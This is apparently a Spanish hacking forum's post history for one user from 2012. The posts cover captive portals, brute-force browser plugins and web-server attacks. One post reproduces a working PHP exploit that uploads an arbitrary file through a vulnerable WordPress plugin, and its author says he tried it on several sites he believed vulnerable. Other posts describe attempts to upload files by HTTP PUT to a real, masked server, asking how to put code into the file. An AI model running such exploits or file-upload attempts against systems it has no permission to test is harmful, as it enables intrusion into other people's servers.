Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - TapIt

#11
Buenas a todos,

Me gustaría saber si existe información sobre redes abiertas en las que se requiere un usuario y contraseña que deben ser ingresados en el navegador para poder acceder a ellas (Universidades, Internet de pago en sitios públicos...) "este usuario y contraseña es único para cada usuario". ¿Que tipo de arquitectura utilizan? ¿Requieren un software especifico? ¿Son igual de peligrosas que una red pública normal? Toda información al respecto será bienvenida ya que he buscado en internet pero no he conseguido encontrar nada claro. (No importa si está en inglés)

Muchisimas gracias. Saludos!

#12
Bugs y Exploits / Re: Burlar redireccionamiento web
19 Noviembre 2012, 01:38 AM
Prueba con Tamper Data para firefox, pon el modo de captura de cabeceras activado y puede que haya suerte.

Saludos!
#13
Para Firefox tienes el plugin de "FireForce"
#14
Nivel Web / Re: Metodo PUT en servidor web
11 Noviembre 2012, 18:23 PM
Hola adastra, lo que tu me comentas era el modo en el que yo estaba realizando las peticiones al servidor. De todas formas he probado a hacerlo como tu comentabas (con la ip, sin content-length... etc) y sigue saliendo el mismo error.

Sinceramente creo que al hacer la petición OPTIONS me esta dando un falso positivo y PUT está deshabilitado porque sino no me lo explico.

Pero bueno no pasa nada, el tiempo que llevo pegandome con esto he conseguido aprender a utilizar Burp, a entender mejor el sistema de cabeceras del protocolo HTTP y alguna cosillas más asique nada, a seguir auditando. Me da rabia porque yo creo que la web es muy explotable, pero todavía me falta conocimiento... :)

Saludoss y gracias!
#15
Nivel Web / Exploit PHP para wordpress
11 Noviembre 2012, 15:13 PM
Muy buenas, estoy intentando utilizar este exploit en PHP.
http://www.exploit-db.com/exploits/18990/

Lo he hecho de la siguiente forma:

He creado un archivo de nombre "exploit.php" al que le añadido este código y lo he subido a un servidor web.
<?php

$uploadfile
="lo.php";
$ch 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/html5avmanager/lib/uploadify/custom.php");
curl_setopt($chCURLOPT_POSTtrue);
curl_setopt($chCURLOPT_POSTFIELDS,
         array(
'Filedata'=>"@$uploadfile"));
curl_setopt($chCURLOPT_RETURNTRANSFER1);
$postResult curl_exec($ch);
curl_close($ch);
print 
"$postResult";

?>


Mi pregunta es:
Se supone que lo.php será el nombre del archivo que quiero subir al servidor. Para que el exploit lo encuentre lo he situado en la misma carpeta que está alojado el exploit.

¿Estoy haciendolo correctamente? He realizado varias pruebas en webs que deberían ser vulnerables pero no lo he conseguido.

Muchas gracias por adelantado. Saludos!!
#16
Nivel Web / Re: Metodo PUT en servidor web
11 Noviembre 2012, 15:07 PM
Pues nada supongo que el método PUT será privado y es por eso que no puedo subir archivos =( jajaja. Muchisimas gracias a los 2 por vuestra ayuda
#17
Nivel Web / Re: Metodo PUT en servidor web
10 Noviembre 2012, 21:23 PM
Gracias por tu respuesta ameise_1987!

Bueno por partes, he probado a generar la peticion tal y como me comentabas de esta forma.

PUT /****/*****/File/miprueba.txt HTTP/1.1
Host: www.*****.es
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: usercode=; passwd=; __utma=168011234.1689716079.1352471299.1352564320.1352567111.6; __utmz=168011234.1352471399.1.2.utmccn=(organic)|utmcsr=google|utmctr=|utmcmd=organic; JSESSIONID=E2DB0504E635CBD1B3CBDB184624B934; __utmc=168011234
DNT: 1
Cache-Control: max-age=0
Content-Length: 0


Lo que he hecho simplemente ha sido generar una petición con el navegador, hacerla pasar por Burp y cambiarla para generear una petición PUT en lugar de GET. También le he añadido la cabecera Content-Length: 0 ya que el fichero que estoy intentando subir está vacío.(Si he leido bien en internet, esa cabecera corresponde al numero de Bytes enviados al servidor)

La respuesta ha sido la misma.

Por otra parte respecto a la busqueda de directorios que comentabas es una tarea bastante sencilla. La página no está protegida frente a esto y los indexa todos. He realizado la prueba en directorios tales como /doc /img /apps y otros varios pero nada...

Hay muchos directorios indexados en la web asique seguire probando con otros.Voy por buen camino? Content-Lenght es lo que yo creo que es? Si quisiera añadir codigo a miprueba.txt simplemente debería añadirlo al final de la petición no?

Siento la chapa. Muchisimas gracias!
#18
Nivel Web / Re: Metodo PUT en servidor web
10 Noviembre 2012, 18:31 PM
Hola adastra! En primer lugar muchas gracias por tu respuesta.
Intentaré explicarte como estoy realizando los pasos lo mejor posible.

Para la ejecución de las sentencias estoy utilizando Burp Suite en la que he marcado como target la web que estoy auditando.

Posteriormente he realizado la siguiente sentencia:

OPTIONS /*****/*****/File/ HTTP/1.0

y tengo como respuesta lo siguiente.

HTTP/1.1 200 OK
Date: Sat, 10 Nov 2012 17:23:24 GMT
Server: Apache/2.2.3 (Red Hat)
Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


Posteriormente he realizado la siguiente sentencia a modo de prueba. (Si lo que he leido es cierto debería crearme un fichero vacío de texto)

PUT /*****/*****/File/miprueba.txt HTTP/1.0


A lo que me devuelve lo siguiente:

Server: Apache/2.2.3 (Red Hat)
Content-Length: 973
Connection: close
Content-Type: text/html;charset=utf-8

<html><head><title>Apache Tomcat/5.0.30 - Informe de Error</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>Estado HTTP 403 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Informe de estado</p><p><b>mensaje</b> <u></u></p><p><b>descripción</b> <u>El acceso al recurso especificado () ha sido prohibido.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.0.30</h3></body></html>


He puesto asteriscos en las carpetas intermedias para no postear las realaes.Si quieres que te indique el servidor sobre el que estoy realizando la auditoría no tengo ningún problema en pasartelo por privado.No tengo intención de defacearlo ni nada, simplemente soy una persona que quiere aprender.

Gracias otra vez! Saludos

#19
Nivel Web / Metodo PUT en servidor web
9 Noviembre 2012, 12:42 PM
Muy buenas!

Mi duda es sencilla pero creo que no tengo los conocimientos suficientes para entender lo que está ocurriendo.

Realizo una petición OPTIONS a un servidor y obtengo como respuesta:

Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS


Posteriormente intento utilizar el metodo PUT y obtengo el siguiente mensaje:

HTTP/1.1 403 Prohibido
Date: Fri, 09 Nov 2012 11:38:12 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 973
Connection: close
Content-Type: text/html;charset=utf-8

<html><head><title>Apache Tomcat/5.0.30 - Informe de Error</title><style>

</style> </head><body><h1>Estado HTTP 403 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Informe de estado</p><p><b>mensaje</b> <u></u></p><p><b>descripción</b> <u>El acceso al recurso especificado () ha sido prohibido.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.0.30</h3></body></html>[/move]


Alguien sabe a que se debe esto?

Muchas gracias por antelación. Saludos ;)
#20
Bajo mi punto de vista las relaciones familiares se basan en la confianza y más si tu hija tiene 12 años!

De todas formas en internet hay muchísima información sobre este tema y esto es muchísimo más fácil teniendo en cuenta que se encuentra conectada en tu WLAN.